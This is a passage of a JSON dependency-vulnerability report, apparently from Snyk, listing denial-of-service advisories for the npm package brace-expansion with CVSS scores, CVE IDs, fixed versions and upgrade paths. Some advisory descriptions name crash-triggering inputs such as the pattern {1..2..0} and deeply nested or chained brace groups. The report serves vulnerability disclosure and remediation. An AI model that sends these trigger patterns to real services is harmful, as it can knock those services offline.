Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
